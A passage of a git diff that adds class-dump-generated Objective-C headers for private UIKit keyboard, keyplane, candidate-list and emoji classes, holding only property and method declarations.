BOOL isKeysReference; +@property(readonly, assign, nonatomic) BOOL isKeylistReference; +@property(readonly, assign, nonatomic) BOOL isKeysetReference; +@property(readonly, assign, nonatomic) NSString* keyName; +@property(readonly, assign, nonatomic) NSString* keylistName; ++(id)referenceWithName:(id)name value:(id)value flags:(unsigned)flags; +-(id)initWithName:(id)name value:(id)value flags:(unsigned)flags; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)description; +-(unsigned)startIndexForListCount:(unsigned)listCount; +-(unsigned)endIndexForListCount:(unsigned)listCount; +-(void)setFlags:(unsigned)flags setStartKeyIndex:(int)index setEndKeyIndex:(int)index3; +-(void)setNameElements:(id)elements; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyplane.h b/igor/headers/dumpedUIKit/UIKBKeyplane.h new file mode 100644 index 0000000..10a4284 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyplane.h @@ -0,0 +1,46 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "NSCoding.h" + +@class NSArray, NSMutableArray, NSString, UIKBAttributeList; + +@interface UIKBKeyplane : NSObject { + NSString* m_name; + NSMutableArray* m_keylayouts; + UIKBAttributeList* m_attributes; + NSMutableArray* m_supportedTypes; + NSArray* m_keys; +} +@property(retain, nonatomic) NSString* name; +@property(retain, nonatomic) NSArray* keylayouts; +@property(copy, nonatomic) UIKBAttributeList* attributes; +@property(copy, nonatomic) NSArray* supportedTypes; +@property(readonly, assign, nonatomic) NSArray* keysOrderedByPosition; +@property(readonly, assign, nonatomic) NSArray* keys; ++(id)keyplane; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)keylayoutWithName:(id)name; +-(void)layoutInRect:(CGRect)rect; +-(BOOL)looksLike:(id)like; +-(BOOL)looksLikeShiftAlternate; +-(id)description; +-(BOOL)usesAutoShift; +-(id)alternateKeyplaneName; +-(id)shiftAlternateKeyplaneName; +-(BOOL)isShiftKeyplane; +-(BOOL)shouldSkipCandidateSelection; +-(BOOL)isShiftKeyPlaneChooser; +-(BOOL)usesAdaptiveKeys; +-(BOOL)supportsType:(int)type; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyplaneView.h b/igor/headers/dumpedUIKit/UIKBKeyplaneView.h new file mode 100644 index 0000000..20c79e4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyplaneView.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIKBKeyplane, NSString, UIKBKeyboard; + +__attribute__((visibility("hidden"))) +@interface UIKBKeyplaneView : UIView { +@private + UIKBKeyboard* m_keyboard; + UIKBKeyplane* m_keyplane; + NSString* m_visualStyle; +} +@property(retain, nonatomic) UIKBKeyplane* keyplane; +@property(readonly, assign, nonatomic) NSString* visualStyle; +-(id)initWithFrame:(CGRect)frame keyboard:(id)keyboard keyplane:(id)keyplane; +-(void)dealloc; +-(BOOL)validForKeyplane:(id)keyplane withVisualStyle:(id)visualStyle; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyset.h b/igor/headers/dumpedUIKit/UIKBKeyset.h new file mode 100644 index 0000000..aca3f94 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyset.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSCoding.h" + +@class NSMutableArray, NSString; + +@interface UIKBKeyset : NSObject { + NSString* m_name; + NSMutableArray* m_keylists; +} +@property(retain, nonatomic) NSString* name; +@property(retain, nonatomic) NSMutableArray* keylists; ++(id)keyset; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)keylistWithName:(id)name; +-(BOOL)addKeylist:(id)keylist; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBShape.h b/igor/headers/dumpedUIKit/UIKBShape.h new file mode 100644 index 0000000..3f6f4ad --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBShape.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "NSCoding.h" + +@class UIKBGeometry; + +@interface UIKBShape : NSObject { + UIKBGeometry* m_geometry; + CGRect m_originalFrame; + CGRect m_frame; + CGRect m_paddedFrame; + unsigned m_uid; +} +@property(retain, nonatomic) UIKBGeometry* geometry; +@property(assign, nonatomic) CGRect frame; +@property(readonly, assign, nonatomic) CGRect originalFrame; +@property(assign, nonatomic) CGRect paddedFrame; +@property(readonly, assign, nonatomic) unsigned uid; ++(id)shape; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(unsigned)hash; +-(BOOL)isEqual:(id)equal; +-(void)setFrameOnly:(CGRect)only; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboard.h b/igor/headers/dumpedUIKit/UIKeyboard.h new file mode 100644 index 0000000..1e70f06 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboard.h @@ -0,0 +1,78 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIKeyboard.h" + +@class UIImage, UITextInputTraits; + +@interface UIKeyboard : UIView { + UIImage* m_snapshot; + UITextInputTraits* m_defaultTraits; + BOOL m_typingDisabled; +} ++(id)activeKeyboard; ++(void)initImplementationNow; ++(void)removeAllDynamicDictionaries; ++(CGSize)defaultSize; ++(CGSize)defaultSizeForInterfaceOrientation:(int)interfaceOrientation; ++(CGRect)defaultFrameForInterfaceOrientation:(int)interfaceOrientation; ++(CGSize)defaultSizeForOrientation:(int)orientation; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithDefaultSize; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)updateLayout; +-(int)orientation; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(void)prepareForGeometryChange; +-(void)geometryChangeDone:(BOOL)done; +-(void)removeAutocorrectPrompt; +-(void)acceptAutocorrection; +-(void)setCaretBlinks:(BOOL)blinks; +-(void)setCaretVisible:(BOOL)visible; +-(BOOL)returnKeyEnabled; +-(void)setReturnKeyEnabled:(BOOL)enabled; +-(id)defaultTextInputTraits; +-(void)setDefaultTextInputTraits:(id)traits; +-(id)delegate; +-(void)clearSnapshot; +-(void)takeSnapshot; +-(void)activate; +-(void)deactivate; +-(void)movedFromSuperview:(id)superview; +-(void)removeFromSuperview; +-(void)drawRect:(CGRect)rect; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +-(void)mouseDragged:(GSEventRef)dragged; +-(int)textEffectsVisibilityLevel; +-(void)_setTypingEnabled:(BOOL)enabled; +-(BOOL)_typingEnabled; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +@end + +@interface UIKeyboard (UIKeyboardAutomaticAppearance) ++(id)automaticKeyboard; ++(id)containerWindow; ++(UIKeyboardAnimationGeometry)calculateAnimationGeometryForOrientation:(int)orientation; ++(UIKeyboardAnimationGeometry)calculateAnimationGeometryForOrientation:(int)orientation outDirection:(int)direction; +-(void)orderInWithAnimation:(BOOL)animation; +-(void)orderInWithAnimation:(BOOL)animation fromDirection:(int)direction duration:(double)duration; +-(void)orderOutWithAnimation:(BOOL)animation; +-(void)orderOutWithAnimation:(BOOL)animation toDirection:(int)direction duration:(double)duration; +-(void)keyboardAutomaticWillOrderIn:(id)keyboardAutomatic context:(void*)context; +-(void)keyboardAutomaticOrderIn:(id)anIn finished:(id)finished; +-(void)keyboardAutomaticOrderOut:(id)anOut finished:(id)finished; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardCandidateInline.h b/igor/headers/dumpedUIKit/UIKeyboardCandidateInline.h new file mode 100644 index 0000000..5aedd1a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardCandidateInline.h @@ -0,0 +1,130 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardCandidateList.h" +#import "UIView.h" + +@class UIAutocorrectInlinePrompt, NSString, UILabel, UIScroller, NSMutableArray, UIImage, UIKeyboardCandidateSafetyNetVie, UIImageView, UIKeyboardGenericKeyView, NSArray, NSTimer; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardCandidateInline : UIView { +@private + id _delegate; + NSArray* _candidates; + unsigned _currentCandidateIndex; + unsigned _numCandidates; + unsigned _currentPageIndex; + int _promptTextType; + UILabel* _inlineTextLabel; + NSString* _inlineText; + CGRect _inlineRect; + CGRect _frame; + unsigned _lineHeight; + unsigned _numColumns; + BOOL _alwaysShowBackground; + BOOL _showControls; + BOOL _showingAll; + BOOL _selectedInAll; + NSMutableArray* _candidateLines; + UIAutocorrectInlinePrompt* _inlineView; + UIScroller* _scrollView; + UIImageView* _controlsView; + UIKeyboardGenericKeyView* _subviewButton; + UIKeyboardGenericKeyView* _nextPageButton; + UIKeyboardGenericKeyView* _prevPageButton; + CGRect _inlineCandidateFrame; + float _lazyLayoutNextOriginY; + unsigned _lazyLayoutNextCandidateIndex; + int _orientation; + BOOL _forMobileNotes; + BOOL _landscape; + BOOL _animating; + CGRect _windowFrame; + CGPoint _draggingStartOffset; + UIImageView* _closeButton; + UIImage* _backgroundImage; + UIImage* _backgroundTopImage; + CGRect _closeButtonFrame; + BOOL _showScroller; + NSTimer* _deferredLayoutTimer; + UIView* _shadowView; + BOOL _caretVisible; + BOOL _caretblinking; + CGRect m_caretRect; + UIView* m_caretView; + NSTimer* m_caretTimer; + BOOL m_caretShowingNow; + BOOL m_showingCompletions; + UIKeyboardCandidateSafetyNetVie* m_landscapeSafetyNetView; +} ++(id)sharedInstance; ++(void)releaseSharedInstance; +-(id)initWithFrame:(CGRect)frame; +-(id)rotatingContentViewForWindow:(id)window; +-(void)adjustForFrame:(CGRect)frame orientation:(int)orientation; +-(int)orientation; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(BOOL)ignoresMouseEvents; +-(void)dealloc; +-(void)candidateAcceptedAtIndex:(unsigned)index; +-(void)drawRect:(CGRect)rect; +-(void)_setInlineText:(id)text; +-(void)setCandidates:(id)candidates inlineText:(id)text inlineRect:(CGRect)rect maxX:(float)x layout:(BOOL)layout; +-(void)setCandidates:(id)candidates type:(int)type inlineText:(id)text inlineRect:(CGRect)rect maxX:(float)x layout:(BOOL)layout; +-(void)obsoleteCandidates; +-(void)setCompletionContext:(id)context; +-(void)showCandidateAtIndex:(unsigned)index; +-(void)showPageAtIndex:(unsigned)index; +-(void)showNextPage; +-(void)showPreviousPage; +-(void)setUIKeyboardCandidateListDelegate:(id)delegate; +-(void)showNextCandidate; +-(id)currentCandidate; +-(unsigned)currentIndex; +-(id)candidateAtIndex:(unsigned)index; +-(void)setCurrentIndex:(unsigned)index; +-(unsigned)count; +-(void)configureKeyboard:(id)keyboard; +-(void)setAlwaysShowBackground:(BOOL)background; +-(void)setShowControls:(BOOL)controls; +-(void)inlineCandidateClicked:(id)clicked; +-(void)candidateListAcceptCandidate:(id)candidate; +-(void)cellSelected:(id)selected; +-(void)cancelButtonSelected:(id)selected; +-(void)prevPageButtonSelected:(id)selected; +-(void)nextPageButtonSelected:(id)selected; +-(void)layout; +-(void)layoutOneCandidateAtIndex:(unsigned)index; +-(void)clearLayout; +-(void)_clearInlineCandidate; +-(void)_fadeInlineCandidate; +-(void)_animateInlineCandidate; +-(void)_adjustFrameSizeForCandidateLines:(int)candidateLines; +-(void)inlineCandidateAnimationDidStop:(id)inlineCandidateAnimation finished:(id)finished context:(void*)context; +-(void)_showBackground; +-(void)autocorrectionAnimationDidStop:(id)autocorrectionAnimation finished:(id)finished context:(void*)context; +-(BOOL)scroller:(id)scroller shouldAdjustSmoothScrollEndForVelocity:(CGSize)velocity; +-(CGPoint)scroller:(id)scroller adjustSmoothScrollEnd:(CGPoint)end velocity:(CGSize)velocity; +-(void)scrollerWillStartDragging:(id)scroller; +-(void)scrollerDidEndDragging:(id)scroller willSmoothScroll:(BOOL)scroll; +-(void)scrollerDidEndAnimatedScrolling:(id)scroller; +-(void)installLandscapeSafetyNetView; +-(void)removeLandscapeSafetyNetView; +-(void)_startBackgroundLayoutIfNeeded; +-(void)_stopBackgroundLayout; +-(void)_hideBackground; +-(void)_periodicLayoutNextPage:(id)page; +-(BOOL)_layoutNextLine; +-(BOOL)needsWebDocumentViewEventsDirectly; +-(void)setCaretPosition:(CGRect)position; +-(void)showCaret:(BOOL)caret gradually:(BOOL)gradually; +-(int)textEffectsVisibilityLevel; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardCandidateInlineScroller.h b/igor/headers/dumpedUIKit/UIKeyboardCandidateInlineScroller.h new file mode 100644 index 0000000..21247a2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardCandidateInlineScroller.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIScroller.h" + + +__attribute__((visibility("hidden"))) +@interface UIKeyboardCandidateInlineScroller : UIScroller { +@private + UIView* _savedLastHighlightedView; +} +-(void)mouseUp:(GSEventRef)up; +-(void)mouseDown:(GSEventRef)down; +-(void)contentMouseUpInView:(id)view withEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardCandidateInlineTextLabelView.h b/igor/headers/dumpedUIKit/UIKeyboardCandidateInlineTextLabelView.h new file mode 100644 index 0000000..1a27c06 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardCandidateInlineTextLabelView.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + + +__attribute__((visibility("hidden"))) +@interface UIKeyboardCandidateInlineTextLabelView : UILabel { +} ++(id)font; +-(id)initWithFrame:(CGRect)frame; +-(int)textEffectsVisibilityLevel; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardCandidateList.h b/igor/headers/dumpedUIKit/UIKeyboardCandidateList.h new file mode 100644 index 0000000..e1fa3ec --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardCandidateList.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSObject.h" + + +@protocol UIKeyboardCandidateList +-(void)setCandidates:(id)candidates inlineText:(id)text inlineRect:(CGRect)rect maxX:(float)x layout:(BOOL)layout; +-(void)layout; +-(void)setUIKeyboardCandidateListDelegate:(id)delegate; +-(void)showCandidateAtIndex:(unsigned)index; +-(void)showNextCandidate; +-(void)showPageAtIndex:(unsigned)index; +-(void)showNextPage; +-(void)showPreviousPage; +-(id)currentCandidate; +-(unsigned)currentIndex; +-(id)candidateAtIndex:(unsigned)index; +-(void)candidateAcceptedAtIndex:(unsigned)index; +-(unsigned)count; +-(void)configureKeyboard:(id)keyboard; +@optional +-(void)setCandidates:(id)candidates type:(int)type inlineText:(id)text inlineRect:(CGRect)rect maxX:(float)x layout:(BOOL)layout; +-(void)showCaret:(BOOL)caret gradually:(BOOL)gradually; +-(void)setCompletionContext:(id)context; +-(void)obsoleteCandidates; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardCandidateSafetyNetVie.h b/igor/headers/dumpedUIKit/UIKeyboardCandidateSafetyNetVie.h new file mode 100644 index 0000000..452080b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardCandidateSafetyNetVie.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIKeyboardCandidateSafetyNetVie : UIView { +} +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardCandidateShadowView.h b/igor/headers/dumpedUIKit/UIKeyboardCandidateShadowView.h new file mode 100644 index 0000000..d7fa4c1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardCandidateShadowView.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIKeyboardCandidateShadowView : UIView { +@private + BOOL _landscape; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setLandscape:(BOOL)landscape; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmoji.h b/igor/headers/dumpedUIKit/UIKeyboardEmoji.h new file mode 100644 index 0000000..169002b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmoji.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmoji : NSObject { +@private + NSString* _name; + NSString* _imageName; + NSString* _codePoint; + unsigned short _unicodeCharacter; +} +@property(retain) NSString* name; +@property(retain) NSString* imageName; +@property(retain) NSString* codePoint; +@property(assign) unsigned short unicodeCharacter; +-(id)initWithName:(id)name imageName:(id)name2 codePoint:(unsigned short)point; +-(id)image; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiCategoriesControl.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiCategoriesControl.h new file mode 100644 index 0000000..7753e7c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiCategoriesControl.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControl.h" +#import "UIKit-Structs.h" + +@class UIImage, NSArray, NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiCategoriesControl : UIControl { +@private + int _selected; + int _total; + NSArray* _selectedImages; + NSArray* _unselectedImages; + UIImage* _darkDivider; + UIImage* _plainDivider; + UIImage* _selectedDivider; + NSMutableArray* _segmentViews; + NSMutableArray* _dividerViews; +} +@property(assign) int selectedIndex; +-(id)initWithFrame:(CGRect)frame; +-(void)updateSegmentImages; +-(void)setFrame:(CGRect)frame; +-(void)layoutSubviews; +-(void)releaseImagesAndViews; +-(void)dealloc; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)updateSegmentAndDividers:(int)dividers; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiCategory.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiCategory.h new file mode 100644 index 0000000..c50a719 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiCategory.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString, NSArray; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiCategory : NSObject { +@private + NSString* _name; + NSArray* _emoji; + int _lastViewedPage; +} +@property(retain) NSString* name; +@property(retain) NSArray* emoji; +@property(assign) int lastViewedPage; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiCategoryController.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiCategoryController.h new file mode 100644 index 0000000..3128934 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiCategoryController.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSDictionary, NSMutableDictionary; +@protocol UIKeyboardEmojiController; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiCategoryController : NSObject { +@private + id emojiController; + NSMutableDictionary* categories; + NSMutableDictionary* _defaultsData; +} +@property(retain) NSDictionary* defaultsData; +-(id)initWithController:(id)controller; +-(void)dealloc; +-(id)categoryForKey:(id)key; +-(void)updateRecents; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiController.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiController.h new file mode 100644 index 0000000..5dd5d85 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiController.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + + + +@protocol UIKeyboardEmojiController +-(void)emojiSelected:(id)selected; +-(id)recents; +-(id)emojiForCodePoint:(id)codePoint; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiFactory.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiFactory.h new file mode 100644 index 0000000..c30d9f8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiFactory.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSMutableDictionary; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiFactory : NSObject { +@private + NSMutableDictionary* emojiMap; +} +-(id)init; +-(void)dealloc; +-(id)emojiWithCodePoint:(id)codePoint; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiImages.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiImages.h new file mode 100644 index 0000000..6b02ab6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiImages.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiImages : NSObject { +} ++(void)mapImagesIfNecessary; ++(id)imageNamed:(id)named; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiPage.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiPage.h new file mode 100644 index 0000000..cdc7efe --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiPage.h @@ -0,0 +1,64 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControl.h" +#import "UIKit-Structs.h" + +@class UITouch, NSString, NSArray, NSMutableArray, UIKeyboardEmojiView; +@protocol UIKeyboardEmojiController; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiPage : UIControl { +@private + NSArray* _emoji; + NSMutableArray* _emojiViews; + int _numRows; + int _numCols; + int _numPages; + float _horizontalGap; + float _verticalGap; + CGRect _keyActivationRect; + NSString* _optionalText; + id _controller; + UITouch* _activeTouch; + BOOL _needsLayout; + UIKeyboardEmojiView* _touched; + UIKeyboardEmojiView* _pendingDisplay; + UIKeyboardEmojiView* _onDisplay; +} +@property(retain) UIKeyboardEmojiView* touched; +@property(retain) NSArray* emoji; +@property(assign) id controller; +@property(retain) NSString* optionalText; +@property(retain) UITouch* activeTouch; +@property(retain) UIKeyboardEmojiView* pendingDisplay; +@property(retain) UIKeyboardEmojiView* onDisplay; +@property(assign) CGRect keyActivationRect; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)updateLayoutConstants; +-(void)setFrame:(CGRect)frame; +-(CGRect)rectForRow:(int)row Col:(int)col; +-(int)takeEmoji:(id)emoji fromIndex:(int)index; +-(void)generateSubviews; +-(void)clearSubviews; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(id)closestForPoint:(CGPoint)point; +-(void)cancelPendingPopupChanges; +-(void)showPendingPopup:(id)popup; +-(void)removeDisplayedPopup:(id)popup; +-(void)checkForStalePopup:(id)stalePopup; +-(void)touchBegan:(id)began; +-(void)touchMoved:(id)moved; +-(void)touchEnded:(id)ended; +-(void)touchCancelled:(id)cancelled; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiRecentsController.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiRecentsController.h new file mode 100644 index 0000000..0d41253 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiRecentsController.h @@ -0,0 +1,32 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSMutableDictionary, NSMutableArray; +@protocol UIKeyboardEmojiController; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiRecentsController : NSObject { +@private + id _controller; + int _currentSequence; + NSMutableArray* _recents; + NSMutableDictionary* _usageHistory; +} +-(id)initWithController:(id)controller; +-(void)dealloc; +-(void)readDefaultsDictionary:(id)dictionary; +-(BOOL)isAncientSequence:(int)sequence; +-(double)scoreForSequence:(int)sequence; +-(double)scoreForEmoji:(id)emoji; +-(void)emojiUsed:(id)used; +-(void)clearAncientHistory; +-(id)defaultsDictionary; +-(id)recents; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiScrollView.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiScrollView.h new file mode 100644 index 0000000..bca3198 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiScrollView.h @@ -0,0 +1,48 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIScrollViewDelegate.h" + +@class UILabel, UIPageControl, UIKeyboardEmojiCategory, NSMutableArray, UIScrollView; +@protocol UIKeyboardEmojiController; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiScrollView : UIView { +@private + UIKeyboardEmojiCategory* _category; + UIPageControl* _pageControl; + UIScrollView* _scrollView; + UILabel* _categoryLabel; + NSMutableArray* _pages; + int _currentPage; + id _controller; +} +@property(assign) id controller; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)forceLayout; +-(void)doLayout; +-(id)localizedStringForKey:(id)key; +-(void)layoutRecents; +-(void)delayedLayout:(id)layout; +-(void)layoutPages; +-(void)interruptScrolling; +-(void)clearPages; +-(void)setCategory:(id)category; +-(void)pageChanged; +-(void)scrollViewDidEndScrollingAnimation:(id)scrollView; +-(void)scrollViewWillBeginDecelerating:(id)scrollView; +-(void)ensureSurrounded:(int)surrounded; +-(int)currentPage; +-(void)drawRect:(CGRect)rect; +-(void)setScrollDelay:(double)delay; +-(void)goToFirstPage; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardEmojiView.h b/igor/headers/dumpedUIKit/UIKeyboardEmojiView.h new file mode 100644 index 